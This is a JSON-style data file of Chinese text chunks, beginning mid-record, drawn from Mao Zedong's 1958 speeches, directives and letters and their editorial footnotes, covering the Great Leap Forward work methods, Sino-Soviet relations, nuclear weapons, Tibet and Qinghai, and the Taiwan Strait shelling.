日内瓦会议，指一九五四年四月二十六日至七月二十一日在瑞士日内瓦召开的讨论和平解决朝鲜问题和恢复印度支那和平问题的国际会议。中、苏、美、英、法五国参加所有两项议题的讨论。朝鲜北南双方及美、英、法以外的其他十二个侵略朝鲜北方的国家参加了朝鲜问题的讨论，越南民主共和国、老挝、柬埔寨和南越政权参加了印度支那问题的讨论。关于朝鲜问题没有达成任何协议；关于恢复印度支那和平问题，分别达成关于在印度支那三国停止敌对行动的协定和《日内瓦会议最后宣言》（总称日内瓦协议），实现了印度支那的停战。 〔3〕 李承晚（一八七五——一九六五），时任南朝鲜即韩国总统。 〔4〕 中立国监察委员会，是根据《朝鲜停战协定》于一九五四年八月一日成立的，由波兰、捷克斯洛伐克、瑞典和瑞士四国成员组成，执行《朝鲜停战协定》有关条款所规定的监督、观察、视察与调查的职能。"},
    {"text": "工作方法六十条（草案） 工作方法六十条（草案） * （一九五八年一月） 我国人民，在共产党领导下，一九五六年在社会主义所有制方面取得了基本的胜利，一九五七年发动整风运动，又在思想战线和政治战线方面取得了基本的胜利，就在这一年，又超额地完成了第一个五年建设计划。"},
    {"text": "这样，我国六亿多人民就在共产党的领导下，认清了自己的前途，自己的责任，打击了从资产阶级右派分子方面刮起来的反党反人民反社会主义的妖风，同时也纠正了和正在继续纠正党和人民自己从旧社会带来的和由于主观主义造成的一些缺点和错误。"},
    {"text": "这里有十四项：1、工业，2、手工业，3、农业，4、农村副业，5、林业，6、渔业，7、畜牧业，8、交通运输业，9、商业，10、财政和金融，11、劳动、工资和人口，12、科学，13、文教，14、卫生。"},
    {"text": "这里也有十四项：1、产量指标，2、产品质量，3、新产品试剂，4、新技术，5、先进定额，6、节约原材料，找寻和使用代用品，7、劳动组织、劳动保护和工资福利，8、成本，9、生产准备和流动资金，10、企业的分工和协作，11、供产销平衡，12、地质勘探，13、资源综合利用，14、设计和施工。"},
    {"text": "这里也有十四项：1、产量指标，2、水利，3、肥料，4、土壤，5、种子，6、改制（改变耕作制度，如扩大复种面积，晚改早，旱改水等），7、病虫害，8、机械化（新式农具，双轮双铧犁，抽水机、适合中国各个不同区域的拖拉机及用摩托开动的运输工具等），9、精耕细作，10、畜牧，11、副业，12、绿化，13、除四害，14、治疾病讲卫生。"},
    {"text": "要把工业部门和财贸部门的若干主要负责干部带到讨论地方工作的会场上去，中央的带到地方去，省、直属市和自治区的带到专区、市属区和县里去，许多在中央工作的同志和在地方工作的同志都有这种要求。"},
    {"text": "（十一）各地方的工业产值（包括中央下放的厂矿、原来的地方国营工业和手工业的产值，不包括中央直属厂矿的产值），争取在五年内，或者七年内，或者十年内，超过当地的农业产值。"},
    {"text": "湖北同志有这样的意见：以一九五七年生产和分配的数字为基础，以后的增产部分四六分（即以四成分配给社员，六成作为合作社积累）、对半分、倒四六分（即以四成作为合作社积累，六成分配给社员）。 如果生产和收入已经达到当地富裕中农的水平的，可以在经过鸣放辩论取得群众同意以后，增产的部分三七分（即以三成分配给社员，七成作为合作社积累），或者一两年内暂时不分，以便增加积累，准备生产大跃进。"},
    {"text": "现在的情况是，有的地方，有些农家的收入中个体经济和集体经济的比例是倒四六、倒三七（即是家庭副业和经营自留地的收入，占到总收入的百分之六十、七十）。"},
    {"text": "各省可以经过鸣放辩论，研究出控制的办法，对经济关系作适当调整，在鼓励农民生产积极性和全面发展生产的基础上，使农家的收入中个体经济和集体经济的比例，在几年内逐步达到三比七或者二比八（即是农民从合作社得到的收入，占家庭总收入的百分之七十或者八十）。"},
    {"text": "从一九四九年在全国范围内夺取政权开始，接着就是反封建的土地改革，土地改革一完成就开始农业合作化，接着又是私营工商业和手工业的社会主义改造。 社会主义三大改造，即生产资料所有制方面的社会主义革命，在一九五六年基本完成，接着又在去年进行政治战线上和思想战线上的社会主义革命。"},
    {"text": "各级党委可以在党内事先酝酿，向干部讲清楚，但是暂时不要在报上宣传，到七月一日以后我们再大讲特讲，因为那时候基层整风已经差不多了，可以把全党的主要注意力移到技术革命上面去了。"},
    {"text": "在由资本主义到社会主义的过渡时期，人民中还隐藏一部分反社会主义的敌对分子，例如资产阶级右派分子，对这种人，我们基本上也是采取由群众鸣放辩论的方法去解决问题。"},
    {"text": "但是斗争和革命的性质和过去不同，不是阶级斗争，而是人民内部的先进和落后之间的斗争，社会制度的先进和落后之间的斗争，科学技术的先进和落后之间的斗争。"},
    {"text": "八年来积累起来的规章制度许多还是适用的，但是有相当一部分已经成为进一步提高群众积极性和发展生产力的障碍，必须加以修改，或者废除。 在修改或者废除这些不合理的规章制度方面，最近一个时期，在群众中间，已经创造了许多先进经验，例如石景山发电厂改进职工福利待遇的办法，湘江机械制造厂改进职工宿舍制度的办法，江苏戚墅堰发电厂改进奖金的办法，广西省一级几个商业机关合并为一个机关，由总数二千四百人缩减为三百五十人、即减少七分之六的人员等。 应该作出这样一个总的规定，即是在多快好省地按计划按比例地发展社会主义事业的前提下，在群众觉悟提高的基础上，允许并且鼓励群众的那些打破限制生产力发展的规章制度的创举。 中央各部门，各省、市、自治区党委，应该派遣负责同志到各地的基层单位去，总结群众中的这一类先进经验，发展下层单位和群众的这一类有利于社会主义建设的创举，建议主管机关给以批准，停止原有的规章制度中某些规定在这个单位实行，并且把这个单位的先进经验推广到其他单位试行。 中央各部门，各省、市、自治区党委，还应当派遣负责同志到各地的基层单位去，发现那里有些什么规章制度已经限制了群众积极性的提高和生产力的发展，根据那里的实际情况，通过基层党委和群众的鸣放辩论，保存现有规章制度中的合理部分，修改或者废除其中的不合理部分，并且拟定一些新的适合需要的规章制度，在这个单位实行，也可以推广到其他单位试行。"},
    {"text": "（二十五）中央和省、直属市、自治区两级党委的委员，除了生病的和年老的以外，一年一定要有四个月的时间轮流离开办公室，到下面去作调查研究，开会，到处跑。"},
    {"text": "所谓“各方去办”，不是说由党员径直去办，而是一定要经过党员在国家机关中、在企业中、在合作社中、在人民团体中、在文化教育机关中，同非党员接触、商量、研究，对不妥当的部分加以修改，然后大家通过，方才去办。"},
    {"text": "第三句话里所说的“原则”，指的是：党是无产阶级组织的最高形式，民主集中制，集体领导和个人作用的统一（党委和第一书记的统一），中央和上级的决策。"},
    {"text": "（三十）党委要抓军事。 军队必须放在党委的领导和监督之下，现在基本上也正是这样做的，这是我军的优良传统。 作军事工作的同志是要求中央和地方党委抓这项工作的。"},
    {"text": "把材料和观点割断，讲材料的时候没有观点，讲观点的时候没有材料，材料和观点互不联系，这是很坏的方法。 只提出一大堆材料，不提出自己的观点，不说明赞成什么反对什么，这种方法更坏。"},
    {"text": "人有十个指头，要使干部学会善于区别九个指头和一个指头，或者多数指头和少数指头。 九个指头和一个指头有区别，这件事看来简单，许多人却不懂得。"},
    {"text": "人脑是能够反映客观世界的，但是要反映得正确很不容易。 要经过反复的考察，才能反映得比较正确，比较接近客观实际。 有了正确的观点和正确的思想，还要有比较恰当的表达方式告诉别人。"},
    {"text": "在我们的干部中，大概还有不少的人，不明白这样一个简单的真理：任何英雄豪杰，他的思想、意见、计划、办法，只能是客观世界的反映，其原料或者半成品只能来自人民群众的实践中，或者自己的科学试验中，他的头脑只能作为一个加工工厂而起制成完成品的作用，否则是一点用处也没有的。"},
    {"text": "（三十九）学点自然科学和技术科学。 （四十）学点哲学和政治经济学。 （四十一）学点历史和法学。 （四十二）学点文学。 （四十三）学点文法和逻辑。 （四十四）建议在自愿的原则下，中央和省市的负责同志，学一种外国文。"},
    {"text": "（四十九）一切农业学校除了在自己的农场进行生产，还可以同当地的农业合作社订立参加劳动的合同，并且派教师住到合作社去，使理论和实际结合。"},
    {"text": "农村里的中小学，都要同当地的农业合作社订立合同，参加农、副业生产劳动。 农村学生还应当利用假期、假日或者课余时间回到本村参加生产。"},
    {"text": "（五十）大学校和城市里的中等学校，在可能条件下，可以由几个学校联合设立附属工厂或者作坊，也可以同工厂、工地或者服务行业订立参加劳动的合同。"},
    {"text": "（五十三）省、自治区、直属市，应当设立农具研究所，专门负责研究各种改良农具和中小型机械农具，同农具制造厂密切联系，研究好了就交付制造。"},
    {"text": "（五十四）湖北孝感县的联盟农业社，一部分土地每年种一造，亩产二千一百三十斤； 四川仁寿县的前进农业社，一部分土地一造亩产一千六百八十斤； 陕西宜君县的清河农业社，这个社在山区，一部分土地一造亩产一千六百五十四斤； 广西百色县的拿坡农业社，一部分土地一造亩产一千六百斤。"},
    {"text": "如果在辩论中群众发生抵触情绪，不赞成这个建议，可以向他们说明，在将来国家有紧急需要的时候，只要党有决定，我还是可以出任这种国家领导职务的。"},
    {"text": "〔2〕 一九五八年十一月二十八日至十二月十日在武昌举行的中共八届六中全会通过决议，同意毛泽东提出的关于他不作下届中华人民共和国主席候选人的建议。"},
    {"text": "在成都会议<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a>上的讲话 在成都会议 〔1〕 上的讲话 * （一九五八年三月二十日） 我讲四个问题： 一、改良农具的群众运动，应该推广到一切地方去，它的意义很大，是技术革命的萌芽，是一个伟大的革命运动。"},
    {"text": "中国这么大的国家，不可能完成机械化，总有些角落办不到，一千年，五百年，一百年，五十年，总有些还是半机械化，如木船； 有一部分手工业，过几万万年还会有的，如吃饭，永世是手工业，它同机械化是对立的统一，只是性质不同，应当结合起来。"},
    {"text": "只要路线正确——鼓足干劲，力争上游，多、快、好、省（这几句话更通俗化），那么后一年、二年、三年至五年完成四十条，那也不能算没有面子，不能算不荣誉，也许还更好一些。"},
    {"text": "苦战与休整的对立统一，这是规律，而且是互相转化的，没有一种事情不是互相转化的，“急”转化为“缓”，“缓”转化为“急”，“劳”转化为“逸”，“逸”转化为“劳”，休整与苦战，也是如此。 劳和逸，缓和急，也有同一性； 休战与苦战也有同一性。"},
    {"text": "团结，搞一搞意见就有分歧，就转化为斗争，发生分歧，重新破裂，不可能天天团结，年年团结。 讲团结，就有不团结，不团结是无条件的，讲团结时还有不团结，因此要作工作，老讲团结一致，不讲斗争，不是马列主义。 团结经过斗争，才能团结，党内、阶级、人民都一样，团结转化为斗争，再团结。 不能光讲团结一致，不讲斗争、矛盾。"},
    {"text": "压迫者与被压迫者相互转化，就是资产阶级、地主与工人、农民的关系，当然，我们这个压迫者是对旧统治阶级讲的，这是阶级专政而不是讲个人压迫者。"},
    {"text": "战争转化为和平，和平是战争的反面，没有打仗是和平，三八线一打是战争，一停战又是和平，军事是特殊形势下的政治，是政治的继续，政治也是一种战争。"},
    {"text": "有限变为无限，无限转化为有限，古代的辩证法转化为中世纪的形而上学，中世纪的形而上学转化为近代的辩证法，宇宙也是转化的，不是永恒的，资本主义到社会主义，社会主义到共产主义，共产主义社会还是要转化的，也是有始有终的，一定会分阶级，或者要另起个名字，不会固定的。"},
    {"text": "冰河时期，二百万年变一次，冰河一来，生物就大批死亡，南极下面有很多煤炭，可见古代是很热的，延长县发现有竹子的化石（宋朝人说，延长古代是生长竹子的，现在不行了）。"},
    {"text": "现在已经使得少数人感觉到这条路线是正确的，对于我们来说，在理论上和若干工作的实践上（例如有相当的增产，工作有相当的成绩，多数人心情舒畅），承认这条路线是正确的。"},
    {"text": "但是四十条，十五年赶上英国，这是理论，四、五、八大部尚未实现，全国工业化尚未实现，十五年赶上英国还是口号，一五六项尚未全部建成。"},
    {"text": "说错误都可以避免，只有正确，没有错误这种观点是反马克思主义的，问题是少犯点，犯得小点。 正确与错误是对立的统一，难免论是正确的。 只有正确，没有错误，历史上没有这个事实，这就是否认对立统一这个规律，这是形而上学，只有男人没有女人，否定女人怎么办？"},
    {"text": "〔2〕 指《农业发展纲要四十条》要求中国全国自一九五六年起十二年内，粮食亩产量不同地区分别达到四、五、八，即黄河以北达到四百斤，黄河以南、淮河以北达到五百斤，淮河、秦岭、白龙河以南达到八百斤。"},
    {"text": "干部要以普通劳动者的姿态出现 干部要以普通劳动者的 姿态出现 * （一九五八年五月二十日、二十三日） （一）讲一讲以普通劳动者的姿态出现的问题。 这个问题所以要特别提出来，是因为我们有些干部是老子天下第一，看不起人，靠资格吃饭，做了官，特别是做了大官，就不愿意以普通劳动者的姿态出现。"},
    {"text": "如果我们大多数干部特别是领导干部，以科学的态度，以谦虚的态度，是正确的谦虚态度而不是虚伪的谦虚态度待人，以普通劳动者的姿态出现，大国沙文主义就可以防止，即使出现了也不可怕。"},
    {"text": "要搞一点原子弹氢弹 要搞一点原子弹氢弹 * （一九五八年六月二十一日） 我还是希望搞一点海军，空军搞得强一点。还有那个原子弹，听说就这么大一个东西，没有那个东西，人家就说你不算数。那么好，我们就搞一点。搞一点原子弹，氢弹，我看有十年功夫完全可能。一年不是抓一次，也不是抓两次，也不是抓四次，而是抓它七八次。要下决心，搞尖端技术，赫鲁晓夫不给我们尖端技术极好。如果给了，这个账是很难还的。搞一些人吃饭不干别的，五年不行，十年，总是可以搞出来的。原子弹要有，氢弹也要快。管它什么国，管它什么弹，原子弹，氢弹，我们都要超过。 西方资产阶级有的，东方无产阶级要有；西方资产阶级没有的，东方无产阶级也要有。 注 释 * 这是毛泽东同志在中共中央军委扩大会议上讲话的节录。 西藏要准备对付那里的可能的全局叛乱 西藏要准备对付 那里的可能的全局叛乱 * （一九五八年六月二十四日） 此件 〔1〕 请克诚 〔2〕 同志印发军委会议各同志，同时请小平印发各省、市、自治区党委，先发川滇黔藏，使大家知道这件事。青海反动派叛乱，极好，劳动人民解放的机会就到来了。青海省委的方针是完全正确的，西藏要准备对付那里的可能的全局叛乱。乱子越大越好，只要西藏反动派敢于发动全局叛乱，那里的劳动人民就可以早日获得解放，毫无疑义。 注 释 * 这是毛泽东同志转发青海省委关于镇压叛乱问题的报告的批语。 〔1〕 指中共青海省委一九五八年六月十八日关于镇压叛乱问题给中央、军委并兰州军区、各州、县委、柴达木工委、西宁市委的报告。报告说，青海地区的反革命武装叛乱已经蔓延成为全局性的问题，全省牧业区的六个自治州都或多或少地先后发生了叛乱。从平息叛乱、捕捉反革命分子等方面获得的材料，证明青海地区的反革命武装叛乱与西藏拉萨方面的反动集团在帝国主义唆使下的阴谋分裂祖国的活动密切相联，是帝国主义和拉萨反动集团策动的。其实质是帝国主义与拉萨反动派阴谋分裂活动和社会主义改造与反改造的反映，是一场尖锐剧烈的你死我活的阶级斗争。要取得这场斗争的胜利，必须争取群众，坚决地实行社会主义改造，真正使劳动人民从政治上翻身，彻底铲除叛乱的根源。同时对于反革命的武装叛乱，必须以革命的武装予以严厉打击。一九八一年三月二十三日，中共中央批复了青海省委关于解决一九五八年平叛斗争扩大化遗留问题的请示报告。中央批语指出：“应当肯定，当时平息局部地区的武装叛乱是正确的，但是，由于‘左’的指导思想影响，犯了扩大化的错误，使一批干部、群众在政治上、经济上遭到了很大的、甚至是不可弥补的损失。责任主要在领导。处理这个问题，要着重从政治上解决，要做好深入细致的思想政治工作，消除群众之间、干部之间和民族之间的隔阂，引导各族人民顾全大局，团结起来向前看；在经济上，也要给予适当的抚恤、救济和补助，但目前国家经济还有困难，不可能完全解决，最根本的办法，是发展生产，把经济搞上去。” 〔2〕 克诚，即黄克诚，时任中共中央军委秘书长、国防部副部长。"},
    {"text": "介绍一封信<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a> 介绍一封信 〔1〕 * （一九五八年七月三日、三十日） 一 广东省委书记赵紫阳同志最近率领北路检查团到从化县，经四天工作，给省委写了一封信，提出了三个问题：一、对早造 〔2〕 生产的看法问题；二、群众路线问题；三、大字报问题。这些都是全国带普遍性的重要问题，值得一切从中央到基层的领导同志们认真一阅。红旗半月刊应当多登这样的通信。这封信的风格脱去了知识分子腔，使人高兴看下去。近来的文章和新闻报导，知识分子腔还是不少，需要改造。这封信在广东党内刊物上发表，由新华通讯社当作一份党内文件发到北京的。其实，这类通讯或文章，完全可以公开发表，无论对当地同志和全党同志都有极大好处。我同意赵紫阳同志的意见，早造每亩么能收300斤已经很好，比去年的200斤增长50％，何况还有350～400斤的希望。原先的800斤指标是高了，肥料和深耕两个条件跟不上去。这是由于缺乏经验，下半年他们就有经验了。对于这件事，从化的同志们感到难受，这种难受将促使他们取得经验，他们一定会大进一步。群众路线问题，仍然是一个值得全党注意的问题。其办法是从全省各县、全县各乡中，经过鉴定，划分为对于群众路线执行得很好的，执行得不很好也不很坏处于中间状态的和执行得很坏的这样三大类，加以比较，引导第二、第三两类都向第一类看齐，到第一类县乡去开现场会议，可以逐步地解决这个问题。这个问题，不但农村有，城市也有，故是全党性的问题，仍然需要采取大鸣大放大辩论大字报的方法去解决。 毛 泽 东 一九五八年七月三日 二 小平、彭真、震林、伯达 〔3〕 同志： 你们看这封信是否可以发表？我看发表毫无害处。请伯达打电话给广东省委，问一下这封信是否已在党内刊物上发表，或者是用单个文件发表（到）各县，或者并没有发去？再则告诉他们，我们拟在红旗上发表，他们意见如何？以其结果告我为盼！ 毛 泽 东 七月三日上午七时 请在七日下午退给陈伯达。 三 陈伯达同志： 此事请你处理，我来不及了。 毛 泽 东 七月三十日 注 释 * 本篇是毛泽东对中共广东省委书记处书记赵紫阳一九五八年六月八日给广东省委的信写的三个批语。标题是毛泽东在第一个批语上拟的。 〔1〕 赵紫阳的信后来发表在一九五八年八月十六日出版的《红旗》第六期上，题为《从化四日——给广东省委的一封信》。 〔2〕 早造，即早稻，又叫上造。 〔3〕 小平，即邓小平，时任中共中央总书记。彭真，时任中共中央书记处书记。震林，即谭震林，时任中共中央书记处书记。伯达，即陈伯达，时任《红旗》杂志总编辑。"},
    {"text": "同苏联驻华大使尤金的谈话<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a> 同苏联驻华大使尤金的谈话 〔1〕 * （一九五八年七月二十二日） 昨天你们走了以后，我一直睡不着，也没有吃饭。"},
    {"text": "这个问题我脑子里没有印象，问了他们才知道，海军司令部里有那么些热心人，就是苏联顾问，他们说苏联已经有了核潜艇，只要打个电报去，就可以给。 海军核潜艇是一门尖端科学，有秘密，中国人是毛手毛脚的，给了我们，可能发生问题。"},
    {"text": "（彭德怀：今年苏联国防部长马利诺夫斯基同志给我打来一个电报，要求在中国海岸建设一个长波雷达观测站，用来在太平洋指挥潜艇舰队，需要的费用一亿一千万卢布，苏联负担七千万，中国负担四千万。"},
    {"text": "在一次军委扩大会议上，福建军区的叶飞 〔21〕 同志说，福建到处是山，苏军的练兵条例不完全适用，因为苏军条例主要是按平原的条件制定的。"},
    {"text": "我和建设长江大桥的很多领导同志谈过话，他们一致反映：西宁是个好同志，一切工作他都亲自参加，工作方法很好，凡事都和中国同志一起做。"},
    {"text": "〔1〕 一九五八年七月二十一日，尤金向毛泽东转达了赫鲁晓夫和苏共中央主席团关于苏联同中国建立一支共同核潜艇舰队的建议，并希望周恩来、彭德怀去莫斯科进行具体商量。"},
    {"text": "” 〔2〕 一九五八年六月二十八日，中国方面根据苏联军事顾问的意见，向苏联提出为发展中国海军核潜艇提供技术援助的要求。 同年七月二十一日，苏联驻华大使尤金向毛泽东转达了赫鲁晓夫和苏共中央主席团关于苏联同中国建立一支共同核潜艇舰队的建议。"},
    {"text": "这就是苏维埃政权、即无产阶级的国家政权为反对小私有者的（宗法式的和小资产阶级的）自发势力而和国家资本主义订立的一种合同、同盟或联盟。"},
    {"text": "他按资本主义方式经营，是为了获得利润，他同意和无产阶级政权订立合同，是为了获得高于一般利润的额外利润，或者是为了获得用别的办法得不到或极难得到的原料。"},
    {"text": "我们给世界资本主义一定的‘贡赋’，在某些方面向他们‘赎买’，从而立刻在某种程度上使苏维埃政权的地位得到加强，使我们经营的条件得到改善。"},
    {"text": "”（《列宁选集》第4卷，人民出版社1995年版，第505、506页） 〔4〕 一九五〇年三月和一九五一年七月，中苏两国政府分别签订有关创办中苏股份公司的四个协定，在中国境内开办民用航空公司、石油公司、有色及稀有金属公司和造船公司。"},
    {"text": "一九四八年六月二十八日，由保、罗、匈、波、苏、法、捷、意八国共产党和工人党代表参加的情报局会议，通过《关于南斯拉夫共产党状况的决议》，对南共进行公开的指责，并把南共开除出情报局。"},
    {"text": "决议说：“以前用伪装形式存在的民族主义分子，在过去五六个月中，在南斯拉夫共产党的领导机关中取得了统治地位，因此，南斯拉夫共产党的领导机关就背离了南斯拉夫共产党的国际主义传统，走上了民族主义的道路。"},
    {"text": "〔8〕 米高扬（一八九五——一九七八），时任苏联共产党中央主席团委员、苏联部长会议副主席。 〔9〕 布尔加宁（一八九五——一九七五），一九五七年时任苏联共产党中央主席团委员、苏联部长会议主席。 库四宁（一八八一一——一九六四），一九五七年时住苏联共产党中央主席团委员、中央书记处书记。 苏斯洛夫（一九〇二——一九八二），一九五七年时任苏联共产党中央主席团委员、中央书记处书记。"},
    {"text": "〔10〕 一九五七年十一月二日至二十一日，毛泽东率中国党政代表团访问苏联，参加苏联十月革命四十周年庆祝大会，并出席各国共产党工人党莫斯科会议。"},
    {"text": "〔12〕 《莫斯科宣言》，指一九五七年十一月十四日至十六日在莫斯科召开的社会主义国家共产党和工人党代表会议通过的《社会主义国家共产党和工人党代表会议宣言》。"},
    {"text": "在这个《宣言》中，提出了普遍适用于各个走上社会主义道路的国家的九条共同的规律，即：以马克思列宁主义政党为核心的工人阶级，领导劳动群众进行这种形式或那种形式的无产阶级革命，建立这种形式或那种形式的无产阶级专政；"},
    {"text": "〔13〕 一九五七年莫斯科会议期间，十一月十日中共代表团由邓小平向苏共中央系统地说明中国共产党关于从资本主义向社会主义过渡问题的观点，并向苏共中央提出了《关于和平过渡问题的意见提纲》，提纲的主要内容有五条。"},
    {"text": "〔14〕 指我国第一个五年计划期间，由苏联援助中国建设的一百五十六项大中型工业项目。 这些建设项目是中苏两国政府一九五〇年至一九五四年间经过反复协商后分批确定的，后调整为一百五十四项。"},
    {"text": "〔17〕 莫洛托夫（一八九〇——一九八六），一九四九年时任苏联共产党中央政治局委员、苏联部长会议副主席。 贝利亚，一九四九年时任苏联共产党中央政治局委员、苏联部长会议副主席。"},
    {"text": "关于国际形势问题<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a> 关于国际形势问题 〔1〕 * （一九五八年九月五日、八日） 一 国际形势，我们历来有个观点，总是乐观的。"},
    {"text": "请各位拿了这个观点去看一看，观察观察，以后一年、二年、三年、四年，就这样观察下去，究竟是西方怕东方多一点，还是我们东方怕西方多一点？"},
    {"text": "即使这些洲里头有许多统治者是亲西方的，比如泰国、巴基斯坦、菲律宾、日本、土耳其、伊朗等国的，可是人民中间亲东方的不少，可能是相当多。"},
    {"text": "社会主义国家，除非是比如匈牙利失败了，波兰也崩溃了，捷克、东德也崩溃了，连苏联也发生问题，我们也发生问题，摇摇欲倒，那个时候它们会进攻的。"},
    {"text": "现在我们不倒，我们巩固，我们这个骨头啃不动，它们就啃那些比较可啃的地方，搞印尼、印度、缅甸、锡兰 〔7〕 ，想搞垮纳赛尔 〔8〕 ，想搞垮伊拉克，想征服阿尔及利亚等等。"},
    {"text": "每一个地方美国有许多军事基地，比如土耳其有二十几个基地，日本听说有八百个基地。 还有些地方没有基地，但是有军队占领，比如美国在黎巴嫩，英国在约旦。"},
    {"text": "它只有几个兵调来调去，黎巴嫩事情发生，从太平洋调去，到了红海地方，形势不对，赶快回头，到马来亚 〔20〕 登陆，名为休息几天，十七天不吭声。"},
    {"text": "比如对于我们国家，我们国家现在全体动员，如果说中东事件有三四千万人游行示威、开会，这一次大概搞个三亿人口，使他们得到教育，得到锻炼。"},
    {"text": "这个事情对于各民主党派的团结也好吧，各党派有一个共同奋斗目标，这样一来，过去心里有些疙瘩的，有些气的，受了批评的，也就消散一点吧。"},
    {"text": "所以，帝国主义自己制造出来的紧张局势，结果反而对于反对帝国主义的我们几亿人口有利，对于全世界爱好和平的人民，各阶级，各阶层，政府，我看都有利。"},
    {"text": "关于毛泽东九月八日的讲话，九月九日《人民日报》发表的经毛泽东修改的新闻稿作了报道，这里将有关国际形势部分摘录如下： 毛泽东主席说，目前的形势对全世界争取和平的人民有利。"},
    {"text": "不是别人而是美国人自己制造这种绞索，并把它套在自己的脖子上，而把绞索的另一端交给了中国人民、阿拉伯各国人民和全世界一切爱和平反侵略的人民。"},
    {"text": "美帝国主义自以为紧张局势总是对它自己有利，但是事实是，美国制造的这些紧张局势走向了美国人愿望的反面，它起了动员全世界人民起来反对美国侵略者的作用。"},
    {"text": "一九五四年九月八日，在美国策动下，由美国、英国、法国、澳大利亚、新西兰、菲律宾、泰国和巴基斯坦在菲律宾首都马尼拉签订了《东南亚集体防务条约》，又称《马尼拉条约》。"},
    {"text": "〔9〕 一九五八年四月二十八日至五月十四日，美国副总统尼克松先后对乌拉圭、阿根廷、巴拉圭、玻利维亚、秘鲁、厄瓜多尔、哥伦比亚和委内瑞拉等八个拉丁美洲国家进行访问。"},
    {"text": "〔10〕 指炮击金门：一九五八年七月，台湾国民党当局在美国的支持下叫嚷“反攻大陆”，并不断炮击福建沿海村镇。 为严惩国民党军，反对美国侵犯中国主权，人民解放军福建前线部队奉命于八月二十三日开始对国民党军金门防卫部和炮兵阵地等军事目标进行炮击，封锁了金门岛，中断国民党军的补给。"},
    {"text": "至一九五九年一月七日，共进行七次大规模炮击，十三次空战，三次海战，击落击伤国民党军飞机三十六架，击沉击伤军舰十七艘，毙伤国民党军七千余人。"},
    {"text": "〔13〕 这里所说的十九个国家，指当时已同中国建立外交关系的阿富汗、巴基斯坦、柬埔寨、缅甸、尼泊尔、锡兰（斯里兰卡）、也门、伊拉克、印度、印度尼西亚、阿拉伯联合共和国（一九五八年二月由埃及和叙利亚合并建立）、丹麦、芬兰、荷兰、挪威、瑞典、瑞士、列支敦士登和英国。"},
    {"text": "社会主义阵营十一个国家，指朝鲜、蒙古、越南、阿尔巴尼亚、保加利亚、波兰、德意志民主共和国、捷克斯洛伐克、罗马尼亚、苏联和匈牙利。"},
    {"text": "中华人民共和国国防部告台湾同胞书 中华人民共和国国防部 告台湾同胞书 * （一九五八年十月六日） 台湾、澎湖、金门、马祖军民同胞们： 我们都是中国人。三十六计，和为上计。金门战斗，属于惩罚性质。你们的领导者们过去长时期间太猖狂了，命令飞机向大陆乱钻，远及云、贵、川、康 〔1〕 、青海，发传单，丢特务，炸福州，扰江浙。是可忍，孰不可忍？因此打一些炮，引起你们注意。台、澎、金、马是中国领土，这一点你们是同意的，见之于你们领导人的文告，确实不是美国人的领土。台、澎、金、马是中国的一部分，不是另一个国家。世界上只有一个中国，没有两个中国。这一点，也是你们同意的，见之于你们领导人的文告。你们领导人与美国人订立军事协定 〔2〕 ，是片面的，我们不承认，应予废除。美国人总有一天肯定要抛弃你们的。你们不信吗？历史巨人会要出来作证明的。杜勒斯九月三十日的谈话 〔3〕 ，端倪已见。站在你们的地位，能不寒心？归根结底，美帝国主义是我们的共同敌人。十三万金门军民，供应缺乏，饥寒交迫，难为久计。为了人道主义，我已命令福建前线，从十月六日起，暂以七天为期，停止炮击，你们可以充分地自由地输送供应品，但以没有美国人护航为条件。如有护航，不在此例。你们与我们之间的战争，三十年了，尚未结束，这是不好的。建议举行谈判，实行和平解决。这一点，周恩来总理在几年前已经告诉你们了。这是中国内部贵我两方有关的问题，不是中美两国有关的问题。美国侵占台澎与台湾海峡，这是中美两方有关的问题，应当由两国举行谈判解决，目前正在华沙举行 〔4〕 。美国人总是要走的，不走是不行的。早走于美国有利，因为它可以取得主动。迟走不利，因为它老是被动。一个东太平洋国家，为什么跑到西太平洋来了呢？西太平洋是西太平洋人的西太平洋，正如东太平洋是东太平洋人的东太平洋一样。这一点是常识，美国人应当懂得。中华人民共和国与美国之间并无战争，无所谓停火。无火而谈停火，岂非笑话？台湾的朋友们，我们之间是有战火的，应当停止，并予熄灭。这就需要谈判。当然，再打三十年，也不是什么了不起的大事，但是究竟以早日和平解决较为妥善。何去何从，请你们酌定。 中华人民共和国国防部部长 一九五八年十月六日上午一时 注 释 * 这篇文章是毛泽东起草的。 〔1〕 康，指西康省，一九五五年撤销。撤销时，原辖区划归四川省。 〔2〕 指美国与台湾国民党政府一九五四年签订的《共同防御条约》。 〔3〕 美国国务卿杜勒斯一九五八年九月三十日对记者发表谈话，重申美国在台湾问题上所持的国共“双方放弃武力”的立场，批评蒋介石政府在金门、马祖等岛屿上保持大量军队是不明智和不谨慎的，并承认蒋介石反攻大陆是一个“假设成分很大”的计划，认为“只靠他们自己的力量，他们是不会回到那里去的”。当有记者问到如果中国共产党方面作出某些让步，那末美国的对台湾政策是否会有所改变时，杜勒斯说：“我们在这些方面的政策是灵活的，是适应于我们必须应付的局势的。如果我们必须应付的局势改变了，我们的政策也会随之改变。” 〔4〕 指中美大使级会谈。一九五五年四月二十三日，周恩来总理在亚非会议八国代表团团长会议上声明：中国政府愿意同美国政府谈判，讨论和缓远东紧张局势问题，特别是和缓台湾地区紧张局势问题。同年七月二十五日，中美双方就举行大使级会谈达成协议，并于八月一日在瑞士日内瓦进行首次会谈。此后由于美方缺乏诚意，会谈中断。一九五八年八月对金门炮击开始后，美国政府公开表示准备恢复会谈，双方随即于九月十五日在波兰华沙恢复会谈。迄至一九七〇年二月二十日，中美大使级会谈共举行了一百三十六次。由于美方坚持干涉中国内政的立场，会谈在和缓和消除台湾地区紧张局势问题上未取得任何进展。"},
